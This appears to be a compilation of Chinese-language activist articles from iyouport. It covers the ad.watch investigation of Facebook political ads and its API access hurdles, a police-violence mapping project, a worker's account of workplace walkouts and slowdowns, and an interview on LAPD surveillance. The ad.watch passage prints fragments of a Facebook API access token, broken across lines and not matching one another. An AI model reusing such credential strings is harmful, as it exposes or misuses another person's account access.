作为一个 “主要国家所在地” 是印度的人，我不得不接受额外的步骤来核实地址。这涉及到在收到通过邮寄送到我家的代码或 “某人” 到我家的访问之间作出选择。两种选择之间的时间差异很大：邮寄需要三周时间，而拜访我家则在一周内发生。

因为我们想尽快办理手续，也被上门拜访的过程所打动，所以我们决定选择这个方案。

「图」

「图」

Screenshot: Three-step verification process for accessing the Ad Library API. Date: 20 April 2019. Source: Manuel Beltrán.

我们在身份识别过程中所学到的东西令人震惊。

提出验证请求后的第二天，我（*Nayantara*）接到了一名男子的电话，该男子正准备进行此程序。他说，他正在致电 *Facebook* 进行验证，并询问第二天是否是访问的好时机。

「图」

「图」

Screenshot: Identity information of OnGrid representative who was tasked with the verification. Date: 23 April 2019. Source: Nayantara Ranganathan

整个过程很有意思，原因有很多，包括展示了印度身份识别技术和相关企业的兴起与 ***Facebook*** 等大型科技公司在印度寻找耳目的相互作用，这是 *身份验证即服务* 的一个完美例子。

那次，我问来电者是谁，是哪个公司的。他犹豫了一下，似乎没有想到会有这样的问题。当我们确定我们都会说卡纳达语（印度西南部卡纳塔克邦人主要使用的一种语言）后，我们就建立了比较熟悉和信任的谈话语气。

他说他在一家叫 *OnGrid* 的公司工作，他的名字叫 *Umesh*（改名）。*Umesh* 向我保证，他来的时候我不需要在家，只要有人在那里能确认我住在那里就可以了。

两天后，*Umesh* 来到我的住处进行核实。他从外面给我的房子拍了照片，在房子附近的一个地标上拍了照片，并得到了和我一起住的家人的签名（因为访问期间我不在家）。

「图」

「图」

Screenshot: WhatsApp conversation between Nayantara and OnGrid representative. Date: 23 April 2019. Source: Nayantara Ranganathan.

自然，我们对这家 *Facebook* 的验证服务提供商公司很好奇。*OnGrid* 是一家印度公司，声称要让印度人“即时建立信任”，换句话说，就是从事身份信息的交易。他们提供从“学历验证”到法院记录查询等各种服务。

两年前，他们曾因一张让人毛骨悚然的图片而成为新闻焦点：利用印度臭名昭著的国家生物识别架构 *Aadhaar* 进行非自愿的图像识别的广告。作为一个独立的实体，*OnGrid* 的服务条款和数据政策与 *Facebook* 关于保留为识别目的提交的信息的政策不同。

「图」

「图」

Image: Now-deleted image posted on Twitter by OnGrid. Date: 29 November 2019. Source: https://mashable.com/2017/02/14/india-aadhaar-uidai-privacy-security-debate/. Archived page here.

Facebook 的政策没有提到外包核查过程的某些内容，也没有提到数据政策在这种情况下如何改变。这可能意味着，*Facebook* 做出的关于删除与 *Facebook* 共享的身份数据的承诺，并不是 *OnGrid* 在满足所谓的 *“最后一公里验证”* 需求的同时，有义务尊重的。

事实上，***Facebook*** 宣称将永久删除从经历验证过程的用户那里收集的数据。而 ***Facebook*** 在印度雇佣的验证公司 ***OnGrid*** 则保留了这些数据，用于为其他实体提供 *“身份验证服务”*。*OnGrid* 使用人们的数据来创建他们的数据库，以便重复使用并作为服务提供给其他实体。

经过这个过程，我终于完成了我的地址验证，并且可以访问广告资料库*API*了。

Manuel：

作为居住在荷兰的西班牙公民，我的身份核实过程要简单得多，涉及的步骤也少。然而，一旦提交，最后的受理需要两天时间才能通过，而 *Nayantara* 在这一步骤中得到的是即时答复。

这些事件有助于了解不同国家不同的数据处理流程，第三方核查行为者参与所造成的脆弱性，以及令人愤慨的事实，即 任何这一切对于获取公共利益信息来说都无法绕过，而这些信息对于了解社交媒体如何干预民主进程相当关键。

2、是否包含图片和视频？

调查人员有一个将广告数据可视化的计划，但视觉内容本身却无法显示。这些数据并不是以独立于依赖API的可下载方式提供的，因此将其可视化是一个挑战。

但即使要找到一种方法来嵌入链接并呈现可视化，也存在另一个问题：带有视觉效果的URL包含“访问令牌”，这是一个独特的、有时间限制的令牌，链接会在一小时后失效。如果没有浏览者自己的访问令

牌，链接就没有什么用处。

【注：广告快照的URL如下所示：

https://www.facebook.com/ads/archive/render_ad/?id＝251563729117836&"access_token＝"EAAjPOWfPqZCgBAAJ0csteV
gyy5YXX8fmZC0hUGcpQMfZCp3uWaSWeX4urEcNPwB8SM01clzJSqRXPjjh

访问令牌是在 access_token ＝ 之后的东西，它是字母和数字的长字符串：

EAAjPOWfPqZCgBAAJ0csteVNkFJcyxbQZA7m1xbJ8w3fzFRlm6apQ5cAnzs
M01clzJSqRXPjjh8ZBguzXZC9sc9whaz0hE9MGEj889ztZBW2XNxVfitweUS

调查人员考虑过使用浏览器的一个插件，如“下载所有图片”来刮取广告库的图片。也有许多 Python 中的脚本可以做到这点。然而，**Facebook** 阻止所有这些刮取技术收集视觉效果。此外，Facebook 还禁止用户在一般情况下进行这种刮取。

「图」

「图」

Screenshot: Facebook’s Terms of Service. Date: 8 December 2019. Source: Manuel Beltrán.

一方面，加入视觉效果是很重要的，因为它们对浏览界面的人有回忆价值。但另一方面，调查人员想知道，不用视觉效果来分散人们的注意力可能是一件好事，因为要传达的最关键的方面是，视觉效果本身可能没有它们的元数据的价值更高，比如目标定位。

尽管如此，调查人员也尝试使用“wget”命令来执行此操作，但是它不起作用。

最终找到了一种解决方法，使用 Tableau 中提供的功能使 ad.watch 的用户能够输入自己的访问令牌并查看广告的内容。

但是，发布后不久调查人员就发现了一个称为“访问令牌调试器”的东西，可以在其中延长每个访问令牌的寿命或有效性。

「图」

「图」

Screenshot: Access Token Debugger. Date: 30 November 2019. Source: Manuel Beltrán.

3、与记者合作

在与记者一起调查数据中出现的故事时，许多人希望看到原始数据。然而，分享数据的时候，却遇到了一个问题。数据中包含了“ad_snapshot_url” 这个参数，其中包含了前面所说的个人访问令牌。

这个访问令牌对于不同的开发者账户来说是独一无二的，并且会被记录在查询返回的数据中。由于调查人员小心翼翼地不做任何可能让自己对API的访问权被撤销的事，所以必须在共享数据之前将其删除。

但是从每个广告的数据中移除访问令牌必须是自动化的，因为有数百万的广告。在 StackOverflow 中搜索，解决方案相当容易找到，调查人员能够使用 Linux 终端中已经包含的一个名为 “SED”（Stream Editor）的工具。

sed -i -e 's/
EAAjPOWfPqZCgBAAJ0csteVNkFJcyxbQZA7m1xbJ8w3fzFRlm6apQ5cAnzs

BNOOJt4zSEE8IxB4k9HcKydhbcd7P4SnNTBn82G7sgyy5YXX8fmZC0hUGcp

4urEcNPwB8SM01clzJSqRXPjjh8ZBguzXZC9sc9whaz0hE9MGEj889ztZBW2

rcKGiwePQQZB7uGBOag' *US_20_1.json* 使用这些参数，*SED*在文本文件中搜索访问令牌的内容，并将其删除。这个工具使调查人员能够轻松地以自动化和高效的方式清理数据的原始文件。 由于调查项目中收集的数据是关于广告本身的，并不涉及用户的个人新闻源，所以不必处理保护个人数据的问题。 *!!!**ad.watch*** 发布之后 *!!!**1***、维护，更新和调整数据库 一旦该项目被公开，定期更新数据和维护数据库也成为当务之急。这就涉及到更新频率的问题，是否每次都要从头开始收集数据，如果不收集，如何准确地从调查离开的地方收集数据。 随着 *Facebook API* 中数据的增加，这项调查增加了更多的国家。阿根廷和斯里兰卡在选举前不久就被添加了，新加坡的数据也被发布了。对于挪威和瑞士来说调查人员没有验证程序，但已经能够收集这些国家的数据。 ***Manuel***： 随着发布之后的时间流逝，我还努力调整了用于收集数据的脚本，从而使收集效率更高，并且在某些任务上的人工干预最少。 *!!!**2***、***Facebook*** 的回应： 发布会后不久，*Facebook* 的（前）

广告副总裁对这个项目说了一些鼓励的话。这就很尴尬了，因为这个项目并不是为了成为一个“可视化工具”，而是对 *Facebook* 缺乏系统化获取数据的能力提出了挑战。 该项目旨在强调 *Facebook* 的广告基础设施与社交媒体上有意义的民主参与所需条件之间的根本冲突。由于 *Facebook* 上的定向广告使针对性操纵的程度大幅提高，而他们未能在所有运营的国家开放这些数据，这意味着这些条件一次又一次地被破坏。 「图」「图」 因此调查人员不希望 *Facebook* 选择这一项目并将其纳入寡头公司自己的透明度成功故事的一部分。 「图」「图」 ***!!!3、Twitter*** 审查 调查人员在发布该网站的两天后开始注意到一些奇特的事。一些其他人关于该项目的推文已经看不到了。不可能是有很多人在推特上发表了关于项目的推文后又删除了自己的推文。 很快调查人员就意识到，他们自己发布的关于该项目的推文也不见了。他们最初并没有注意到这一点，因为自己都能看到自己的推文。然而最终才意识到，他们彼此间已经看不到对方的推文了。 *重要内容，关于推特审查您应该知道的事，见《推特骇客报告证实了用于社交媒体审查的工具的存在》 如上面文章所示，这就是被称为“影子禁令”的东西。 这种审查非常难以发现，因为这些推文的作者自己仍然可以看到推文，不会引起任何怀疑。而且这种现象已经是人们观察到的经常性现象，例如，当涉及到与克什米尔问题有关的任何推文和用户账户时。 调查人员决定立即通过向 *Twitter* 的支持团队报告来处理这个问题。一天后仍然没有收到他们的回复。然后调查人员发布了以下呼吁：「图」「图」 *Screenshot: Tweet calling for support about the censorship. Date: 2 August 2019. Source: Nayantara Ranganathan.* 到此时，不仅曾经发布的关于该项目的推文无法被其他人看到，并且，再也无法发布带有该项目***URL***的推文。调查人员发现其他人也遇到同样的问题。 「图」「图」 *Screenshots: People on Twitter alerting us to the censorship. Date: 4 August 2019. Source: Nayantara Ranganathan.* 更奇怪的是，该项目的***URL***在推特私信中也被阻止 —— 也就是甚至无法通过私信分享。 「图」「图」 *Screenshot: Censorship within Twitter's Direct Message window. Date: 3 August 2019. Source: Nayantara Ranganathan.* 调查人员获得了许多朋友，同事和陌生人的支持，与他们联系并建议与 *Twitter* 上的工作人员进行联系。 同时，调查人员发现，有人试图在 ***LinkedIn*** 上发布该项目的链接，也收到了一条警告信息。 推测认为，这个*URL*可能已经被标记在平台的某种集中式黑名单上了。 事实确实如此，因为调查人员发现，其中一家对该*URL*进行评级并建立黑名单的安全公司 —— *https://fortiguard.com/webfilter* —— 确实因被人举报将 *ad.watch* 列为了垃圾邮件。调查人员向他们提出了上诉，并收到了回复，说他们已经将其重新归类为广告（有趣 …… 一个揭露广告宣传的项目被归为了“广告”）。 「图」「图」 *Screenshot: Results from a lookup that*

had classified ad.watch as spam. Date: 5 August 2019. Source: Nayantara Ranganathan. 最终，*Twitter* 移除了这个影子禁令，但是没有提供任何解释。 调查还在继续；有人让调查人员与 *Twitter* 的一位工作人员取得联系，他似乎很想提供帮助，但是没有任何进展。 调查人员们还探讨了使用不同渠道尝试获得有关封杀原因的解释的可能性，包括通过使用欧洲 *GDPR* 中的解释权。 理论上，解释权可以迫使 *Twitter* 报告审查发生的原因，如果是算法上的原因。 *!!!*关键要点 从工具中的技术故障到政策中的真诚承诺，调查人员了解到了信息经济的地下世界，即 出售个人数据用于营销、以及它对人们的社会政治现实的巨大影响。 除了 *Facebook* 之外，这个项目还让人们了解到那些从事提取和利用每个人的生活数据赚钱的公司的思考方式和运作方式。 这个项目就是要相信，一个两人的小团队就可以以某种方式挑战像 *Facebook* 这样的巨无霸实体，只因它的资源规模和叙事能力。 这意味着，调查人员一直处于这样的风险之下：***API***访问权随时会被撤销，或者调查采取的方法被归类为违反 ***Facebook*** 的使用条款，甚至考虑到 ***Facebook*** 可以访问调查人员的许多敏感信息，这些信息可能会被用于破坏性的用途。 总体而言，影响该项目制定的因素有很多：*了解这个环境中存在的差距 *相信当事情不简单时，总会有一种方法可以克服限制 *伸出援手并受益于朋友的慷慨建议 *认真对待数据通信 在事后看来，这些方面都有所帮助。 从*2020*年*1*月开始，这个项目正在朝着新的方向发展：调查人员正在努力让社交媒体上的政治广告信息更容易被世界不同地区的不同人群所消化；也在绕回最初的目标，即 设计一种方法，让任何希望自己查阅数据的人都可以下载。 数据库的维护和更新也令人忙碌。随着全球政治格局的变化以及新政党和联盟的出现，调查人员收到了来访者的帮助，他们通过电子邮件发送了要添加到 *ad.watch* 的新页面。 希望在中国有计划构建类似项目的调查人员能从这篇记录中获得经验和灵感。 该项目的更新将持续。如果您对这项调查感兴趣，请通过 *ad.watch* 访问，或通过 *info@ad.watch* 给他们写信。○ *ad.watch—Investigating Political Advertisements on Facebook* 原文

一个新的平台反映了警方对抗议者的暴力行为 - iyouport

反抗者-寻求经验

【2021年4月29日存档】这是一个很好的调查项目，以帮助权利组织对暴力追究责任。希望相关的调查项目也能在中国看到

去年的BLM抗议活动从美国开始蔓延到全球各地，人们聚集在一起大声疾呼反对系统性的种族压迫和警察的军事化。虽然绝大多数抗议者都是在和平地表达自己的意见，进行非暴力抵抗，但当权者却以不成比例的侵略性镇压行为来回应。警方还对报道抗议活动的记者使用了暴力。

Bellingcat 与 Forensic Architecture 一起，对2020年5月以来全美1000多起警察对抗议者的暴力事件进行了识别、核实和存档。这些数据可以在这里访问，并且可供使用和可视化。

这些数据已经使用 TimeMap 进行了可视化，TimeMap 是由 Forensic Architecture 开发的一个平台，它可以在空间和时间上映射事件。调查者已将这些数据分为不同类型的暴力和不当行为：身体暴力 (攻击、逮捕/拘留、橡皮子弹)、化学武器暴力 (催泪瓦斯、胡椒喷雾)、破坏/没收财产、对极右翼的宽容、攻击法律观察员、攻击医务人员。

📌 不要错过我们正在进行的防御技术支持系列：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》

Forensic Architecture 制作的数据可视化 2020

调查者公布了地图和数据集，以便让任何人都可以查询数据并找到模

式。分析表明，暴力镇压行为是非常普遍的、并且是持续的。全国各地的警察，来自不同的城镇和城市，都对抗议者使用暴力和故意的侵犯。这绝非某个糟糕的警察部门的案例，相反，暴力镇压就是是全国范围内的协议的一部分。

这也是在某些情况下，许多城市和部门相对罕见的暴力行为。有一些城市在此之前并没有围绕化学武器使用的协议，因为在这些抗议活动之前，化学武器只在特警队的特定情况下使用。然而，在这场抗议活动中，这些地区的警察部队仍然对抗议者使用了催泪瓦斯。尽管公众的强烈抵抗，但从第一波抗议活动的镇压反应开始，这种暴力已经被正常化了。

这种常态一直在维持，并继续在全国各地蔓延。

虽然许多组织正在努力为暴力受害者伸张正义和追究责任，但由于美国独特的“有条件豁免”独特概念，反抗者的工作十分复杂。这就是为什么调查人员认为这些行为被存档和可视化是至关重要的，以创建一个暴力镇压抗议活动的历史记录，并揭示参与其中的警方和官员。

【注：“有条件豁免”用以保护所有被控滥权的警员免于承担民事责任。】

您可以在这里观看解释该调查平台和抗议活动背景的视频，以及访问该地图。〇

A New Platform Maps US Police Violence Against Protesters

原文

不是躺平：一位工人讲述在工作场所成功的直接行动 - iyouport

反抗者-寻求经验

如果我们独自承受，所有人都会持续恐惧。但如果我们能站在一起，就只剩老板一个人恐惧了

【按】本文并非否认总罢工的能力。近年来对总罢工的呼吁是国际劳工运动组织的坚定信念，同期出现了相当多的论述；比如我们推荐过的《在私人政府的靴子之下》、《用后即弃的人》、《一路的腥风血雨：劳工运动不为人知的故事》等等。

总罢工的目标始终是值得称赞的，它是一种阶级权力的运用，它会产生更好的合同，甚至可能推动变革以解决更广泛的社会问题，更不用说增加工人阶级的信心了。在晚期资本主义的当下非常有必要找回广泛的工人阶级团结的传统。

但是，如果认为总罢工本身就是恢复工人战斗力的关键，这样的论述是值得怀疑的。

在今天要求恢复劳工战斗力的呼声中，几乎没有人谈论夺回对车间的控制权，以及戴维斯、威尔、格拉伯曼以及其他著名劳工历史学家所强调的*日常斗争*。是的，现在重新强调了工会动员，希望对“普通人”进行问题教育，让他们更多地参与到谈判中来，并稳步建立罢工能力；偶尔，工会赞成当场解决一些不满。但是，通过持续的基础性干扰或“破坏”来夺回工作控制权的问题，却被认为已经结束了。这是绝对错误的。

同时，由于雇主试图从各级工人身上榨取最后一滴血，类似996的加速仍然是一个严重问题。车间权力的丧失催生了整体权力的丧失。不断上升的生产力标准与工资增长脱钩，而工人原本应该有权力阻止这种脱钩。

在泰勒主义推进期间，世界产业工人联合会通过“破坏”来组织非技术工人的方法是有逻辑的。正如 IWW律师奥斯汀·刘易斯所说的那

样：

> 在生产成本被精确计算的地方，在延迟或中断或机器的相互依赖的部分不协调的地方，不仅意味着立竿见影的金钱损失，而且倾向于企业本身的毁灭，如果能够不断重复，就可以将资本主义财产的安全和资本主义利润的赚取越来越多地放在工人阶级的手中

根据这种理解，与雇主争夺权力的工具可以说不是总罢工。就如另一位 IWW发言人在1913年写道的，“雇主可以更好地承受持续6个月的一次性罢工，而不是在同一时期发生的6次罢工”。

但必需承认，总罢工需要回来。然而对总罢工的孤注一掷是对其他地形战术的放弃，而这一地形对于发展和维持工人的好战性可以说更为关键。

失去有效的大规模总罢工的前奏是劳工运动进入了一个框架，用对车间的领导权和斗争来换取有序的集体谈判，直到总罢工成为唯一剩下的战术（实际上是总罢工的阉割版）。

在每一个步骤中，这种退却都与本应有的工运方向背道而驰了，并且遭到了工会会员的反对。今天，人们呼吁通过大胆和有灵感的领导来重振工会的战斗力，这通常是把在会场上解决问题的传统放在了一边。

恢复战斗力不仅仅是让别人来领导现有的申诉和谈判程序、以及动员起来的队伍为全面罢工做准备的问题；它必须是一个有组织的和不守规矩的工作团体将工作政治化并在工作中进行反击的问题，建立向管理层发号施令的力量 —— 工人再次对自己的日常生活行使这种控制权。除非这一传统也得到恢复，否则总罢工就不会有效地恢复。

如果工人活动家能够将注意力从对总罢工的期待中转移出来，放在重建战斗力的直接行动方面，也许不仅总罢工更加可期，而且可以摆脱当前工会中短视的不平等交易。（更多相关原理见《要运动，不诉求》）

本文是一位美国工人讲述的他在工作中采取直接行动的经验案例。我们在其中加了一些【注】。

玛丽安·加诺 (Marianne Garneau) 的观点对于像我这样的左翼建筑工人来说非常贴切（我在纽约州立大都会运输署MTA工作）。我经常发

现自己对某些活动家提出的全面的总罢工宣言感到畏惧。我通常会问自己："这个人到底在和谁说话？" 然而，我确实认识一些工人，他们希望在他们目前的工作中获得更好的条件。

我所有的朋友恰好都是工人阶级的一部分。这就是我获得大部分当地劳工新闻的方式，因为在大型罢工之外，较小的劳工反抗行动通常都不会出现在主流媒体上。正如加诺所指出的，现在劳工内部几乎没有发生任何车间反抗行动—— 当然不像劳工运动的全盛时期那样；尽管一些人不得不采取罢工以外的直接行动，因为他们的罢工权早已被抢走了，还包括他们的一揽子反抗战术。

纽约市MTA（ATU 100）的工人借助合同中严格的安全政策来减缓公共交通服务。MTA工人的减速行动包括公交司机在预定驶出车厂前发现他们的公交车出现故障，然后必须由车厂的机械师立即修复。同样，纽约市的环卫工人也正在利用他们的减速战术，即 在一个班次中呆满8小时而不完成当天的所有任务 —— 这就给下一个班次留下了额外的工作，造成了完成任务后的连锁反应 —— 以反击强行的黑匣子监控。这些黑匣子将挖掘关于环卫工人工作习惯的数据，工人们担心城市管理部门会利用这些数据来改变他们熟悉的工作。您肯定已经听说过数据挖掘是如何影响亚马逊工人的工作条件的，纽约市环卫局当然不希望他们的成员为了 "更有效地工作" 而在瓶子里撒尿。

【注：类似于中国工人采用的被称为 "浑水摸鱼" 的消极怠工战术。但不同的是，纽约工人的减速战术有明确的战略目标。】

当我问一名环卫工人放慢速度的战术效果如何时，他回答说："Teamsters Local 831 简直常胜将军"。然后他立即解释说，为了赢得想要争取的东西，他们通常不得不放弃一些东西。不过，在谈到用直接行动争取权利时，他的热情是无可挑剔的。

【注：Teamsters Local 831是编制环卫协会。】

餐饮业的直接行动

「图」

没有什么比和你的一些同事联合起来一起违抗管理层的命令更刺激、更令人振奋的事了，联合起来让你们所有人都能感觉到力量。我就是为这种反抗而生的。

在我从事建筑业之前，我在食品行业工作 —— 那同样是一个充斥着

不平等的行业。有的时候，我和其他工人一起，不得不采取直接行动，以便在工作中保持理智。

其中一次是发生在复活节。

任何在餐馆工作过的人都知道，节假日是最繁忙、最混乱、也是老板认为最赚钱的工作日。作为工人，我们有一个前排座位，眼看着无数家庭坐在一起享受他们的假期，这提醒我们如何错失了我们自己的家庭欢聚。考虑到我们为服务他人而做出的牺牲，复活节的两班制本不应该成为我和厨房一线的同胞们不得不采取行动保护自己免受不公正的工作条件的日子。

我工作的这家餐厅有1200个座位，也就是说，在12个小时内有1200人预订了座位在这里用餐。我被安排在那一天担任厨房管理员——基本上，我是指挥厨房与服务员/传菜员协调工作的人。我警告老板、同时也是总经理，我们不能接受散客了，而且不管是谁来安排餐桌，都应该错开座位，以便让厨房有时间进行准备。

贪婪使这位老板的效率很高，他以极快的速度为人们安排座位，同时继续接受散客。我看到大量的订单已经开始淹没厨房工作人员；我们无法跟上。我们已经尽力了，但我可以看到身体的疲惫和挫败感开始在我的团队中形成。我又出去和总经理谈了谈，但他基本上继续让我“自力更生”。这让我很不舒服，所以我知道我必须以另一种方式引起老板的注意。

我回到厨房，我的队员们已经开始对我发火了。这是有道理的，因为我应该是在前台和后台之间维持秩序的人，而我却让员工们感到很失望。我无法继续承受这种压力和不断通过我们的POS打印机呼啸而来的订单票。

我受够了，我在厨房里大喊：“不要再下单了！”我知道，任何一个服务员听到我停止了订单，就会去告诉老板。我向我的厨房大队解释说，老板可能随时会从我们厨房的旋转门里跑进来，但我并不在乎。

【注：这里的流程是，通过解释可能的“危险”让工友们意识到彼此间是一个整体，在这种情况下自保和背叛已经不是可能的解决方案，而当所有工人联合起来时，老板将作为唯一的对手被孤立出去。】

这时，烤肉厨师很严肃地看着我说：现在我们都应该休息十五分钟。

我们都知道一起走出去会对餐厅造成什么影响；而在这短暂的时间

里，我们将可以实现完全控制。在烤肉厨师的祝福下（他是厨房的OG），整个队伍走出后门坐下来，而订单则不断涌入，没人管它了。我永远不会忘记走出后门时那种自由的感觉。

我们赢得了那个假期。我不是说我们阻止了在服务行业工作的所有不公正现象，但是我们为自己的福祉站了起来，这很重要！

老板确实冲进了那扇门，发现他的厨房是空的。此时此刻，厨房甚至不是他的，而是属于我们的。在我们解释了我们所承受的巨大压力后，他深表歉意，并保证今天剩下的时间会变得更好。他甚至提出事后带我们大家去喝酒。

我们知道老板这样做只是出于对我们返回工作岗位的渴望，但这并不重要。在我们的行动之后，那一天过得很顺利，但我相信，比赢得更好的轮班经验更重要的是，没有人会忘记我们把命运掌握在自己手中的那一次。

【注：每一次小的直接行动都是凝聚力的促进剂。只有不断强化的凝聚力才能带来真正的总罢工。】

建筑行业的直接行动

「图」

我最近参与的一次工作场所行动发生在几个月前，在白原市的一个工作现场。GC（总承包商）和他的公司决定，他们将开始每周两次对我们这些工人进行COVID测试，因为吊车操作员没有来上班，后来才知道是由于COVID-19导致死亡。

我们对检测本身没有疑问，但问题是，GC开始要求我们提供保险卡。也就是说公司想把他们的财务责任转嫁给工人，并解释说这只是暂时的，我们会得到报销，巴拉巴拉。

我们6个人（IUEC国际电梯建造者联盟的人）进行了讨论，IBEW（电工）和管道工也挤在一起。很自然地，我们走过去，开始和他们讨论我们的选择：我们是让步还是直接走掉？IBEW决定停工，显然我们也同意。我们直接走到GC办公室，请他到外面来，让他滚蛋（电工们真的说了“f*ck off”）。

由于**IUEC**和**IBEW**是如此强大的工会，同时也是半成品建筑运作不可或缺的部分，我们很容易就赢得了我们所争取的东西。

【注：这里讲述的是威胁性原理，即 您的行动计划能为对手造成的威胁程度，将决定对手是否可能让步。这一威胁性必需被对手明确感知为真实 —— 强化一种 “你需要我们”，而不是 “我们需要你” 的局面。这一原理可以非常巧妙地运用，见《威胁感可能比事物本身更有效》】

值得注意的是，并不是所有的行业都觉得自己有能力站在GC面前，因为人们担心失去养家糊口的能力。一方面，我觉得很好的是，我们有能力对抗那些对工人的人性不屑一顾的开发商，但另一方面，我觉得很糟糕的是，因为和我们在同一个工地的其他行业没有足够的安全感，无法为自己说话。

我是否可以和那些感到害怕的工人中的一些人谈谈，以改变他们的集体观点？这个问题仍然在我的脑海中出现。GC要求我们不要告诉其他行业他们屈服于我们的要求了，但显然我们告诉了所有询问这件事的人，我们不会提供开发商应该支付的东西。

【注：老板会通过只为站出来反抗的人提供妥协、并保密这种妥协，来缩小可能的反抗者规模；甚至，他们会试图收买反抗行动的组织者，以分化反抗队伍，见《如何抵制当权者通过招安分化公民反抗运动：柔性镇压的两种手段》。能抵御这种维稳手段的方法就是，在恰当的时候将此事告知给必要的人。】

工人赋权的集体记忆

「图」

这种流经我们血管的力量不断地为下一次的直接行动赋予我们权力。如果你像我一样，已经开始寻找需要纠正的错误，你就已经开始为自己的权利而战了，并带动所有你身边的人也这样做。

除了看到自己的双手所创造的东西之外，对我来说，在工地上没有什么比行使我所拥有的一点权力更有意义的事了。我们所处的独裁经济体系吸走了工人阶级的权力，因此当我们获得一些权力时，即使是短暂的，也很令人难忘。

我相信正是由于这个原因，在资本主义国家，劳动教育是如此微不足道甚至不存在。对工人赋权和采取直接反击雇主阶级的行动的集体记忆可以像野火一样传播。当我了解到工人过去和现在反对雇主的行动时，我意识到我也可以采取行动。毕竟，我认同世界各地的工人。在资本主义国家的工人阶级中，肯定存在着认同危机。

【注：分化工人阶级是资本主义的常用维稳战术，如将996限制在IT工人范围内、将一个领域的工人分化为年轻人和老帮菜，令人们彼此竞争，看不到大家正在遭受的是同一种压迫，从而失去联合能力。当竞争而不是团结变成您的工作场所文化的一部分时，应该提醒您的高度警惕。】

长期以来，我们一直被灌输的是首席执行官和富有阶层的所谓“创新者”的历史，而没有人愿意讲述工人的故事，这些首席执行官是踩在工人们的背上才走到今天的。有太多的工人抱着阶级攀升的梦想，却不知道这将意味着踩在他们的朋友和家人过度劳累的身体上。

【注：虚假的“阶级攀升”神话是雇主的挚爱，您也一定读过那些所谓的“励志书”，他们通过对每个人植入这种“努力工作就能成功”的幻想来分化人们。反抗运动的组织者应及时识别到并打破这种幻想。】

采取反抗行动就可以消除这种幻想，并且在采取行动的同时也了解到其他正在发生的行动，可以使我们的阶级意识整体上得到提升。

我最近读到了芝加哥的伍尔沃斯妇女静坐，以及她们如何将乐趣与她们的集体力量相结合的故事。在《三次罢工》一书中，丹娜·弗兰克详细介绍了这些女性罢工者如何组成一个“娱乐委员会”进行各种“即兴表演”，甚至安排音乐家工会每晚进行表演，使罢工者在为工人权利而战的压力锅般的氛围中保持高昂的精神状态。

我看不出有什么比这更有力量的了：在对自己的命运施加控制的同时获得乐趣。我对老板说“不”时感觉非常兴奋，每次我这样做，我的皮肤就会变厚一分 —— 类似于我手上的老茧，提醒我自己我是哪个阶层的人。〇

“I LIVE FOR THAT SHIT”: A WORKER RECALLS SUCCESSFUL DIRECT ACTION IN THE WORKPLACE

原文

不要相信改革：激进活动家如何废掉警用监视 - iyouport

反抗者-寻求经验

【2020年10月29日存档】这是一个废除少数派报告监视项目的成功案例。当下，少数派报告监视形式正在全球流行，其代表就是中国的社会信仰评分。我们认为洛杉矶激进活动家的工作和思考方式值得被更多国家的反抗者学习……

Hamid Khan 赢得了这场战斗，他废掉了洛杉矶警察局使用的监视技术。

Hamid Khan 在洛杉矶做了35年多的社区组织者，一直在关注警察暴力和人权问题。他在2020年4月3日与MIT交谈，为即将推出的一集关于人工智能监视和警务的播客。

当世界将注意力转向警察暴行和制度性种族主义时，这一期的节目很重要。

Khan 是 “停止洛杉矶警察间谍行为联盟” 的创始人，该联盟代表少数族裔社区赢得了许多具有里程碑意义的法庭案件。

该联盟最著名的成就可能是倡导反对预测性警务 —— 也就是少数派报告。4月21日，在这次采访的几周后，洛杉矶警察局宣布结束所有预测性警务项目。

- 关于预测性警务《“未来是一项方程式”—少数派报告的威胁不是这两年才有的新事物》
- 《数十个城市实验了”少数派报告”中描述的技术》
- 《“社会信用”监视：英国、中国、美国和日本》

📌 Khan 不是改革派。他拒绝了与电子前沿基金会（EFF）等组织的合作，因为这些组织强调改革。他不相信改革会成功。他对此做了详

细解释。

以下是采访笔录。

和我们说说您的工作吧。您为什么关注警察的监视问题？

我们所做的工作，特别是针对洛杉矶警察局，重点关注的是监视、信息收集、存储和共享如何在历史上被用来造成真正的伤害，追踪、跟踪、骚扰特定的社区：穷人、黑人和任何有色人种、被警察认为“可疑”的一切社区，包括LGBTQI 人群。

所以在不同层面上，监视是一个权势控制社会的过程。

您相信技术在警务中可以发挥作用吗？

“停止洛杉矶警察间谍行为联盟”有几个指导性的价值观。第一，我们所看到的不是一个时间段，而是整个历史的延续。

监视已经被当权者使用了几百年。一些最早的监视过程可以追溯到17世纪初纽约市的灯笼法。

如果你是一个被奴役的人，一个黑人或土著人，如果你在没有主人在身边的情况下走到公共区域，你就必须提着一个上面写着字的灯笼，基本上就等于自我认定为嫌疑人，是“异类”。

- 《在没有CCTV的时代警察同样全面监控抗议活动，他们是怎么做的？》

另一个指导价值是，永远都会有某种“异类”。从历史上看，永远都会有某种“对体制的威胁”。总有一个组织、一个人、或者一群人，被当权者认为是危险的。他们被认为是可疑的。

第三个指导价值是，我们一直在寻求使所谓的国家安全的说法不那么敏感。为了保持简单明了，[我们尝试展示] 信息收集和信息共享的环境是如何运作的，以及这是一个如何监视每个人的过程。

【注：这个思考方式就如“为未来而战”组织的做法，在这里看到《激进者走上街头：近距离扫描你的脸》；也相当于IYP的做法，用演示追踪来提醒防御，见我们的说明《这不是一场竞技表演：关于IYP为什么要采取开源情报》】

最后的一个指导价值是，我们的斗争植根于人权。我们是一个激进的

废奴主义团体，所以我们的目标是拆除这个体制。

📌 我们不从事改革主义的工作。我们也认为任何围绕透明度、问责制和监督的政策制定都是监视蠕变的模板。

- 非常同意这点《以隐私为目的的斗争如何让你变成了监视的盟友》

任何时候监控一旦得到合法化，那么它就会随着时间的推移而被扩大。

现在，我们正在争取让无人机在洛杉矶停飞，我们能够让它们至少停飞几年。而在3月底，圣地亚哥的丘拉维斯塔警察局已经宣布，他们将为无人机配备扩音器，以监控无家可归者的一举一动。

您能解释一下 “停止洛杉矶警察间谍行为联盟” 在阻止预测性警务方面所做的工作吗？从您的角度来看，它有什么问题？

PredPol 是以基于地理位置的预测性警务项目，将一个500乘500平方英尺的地点确定为目标热点。另一个配套项目 “Operation Laser” 是基于人的预测性警务。

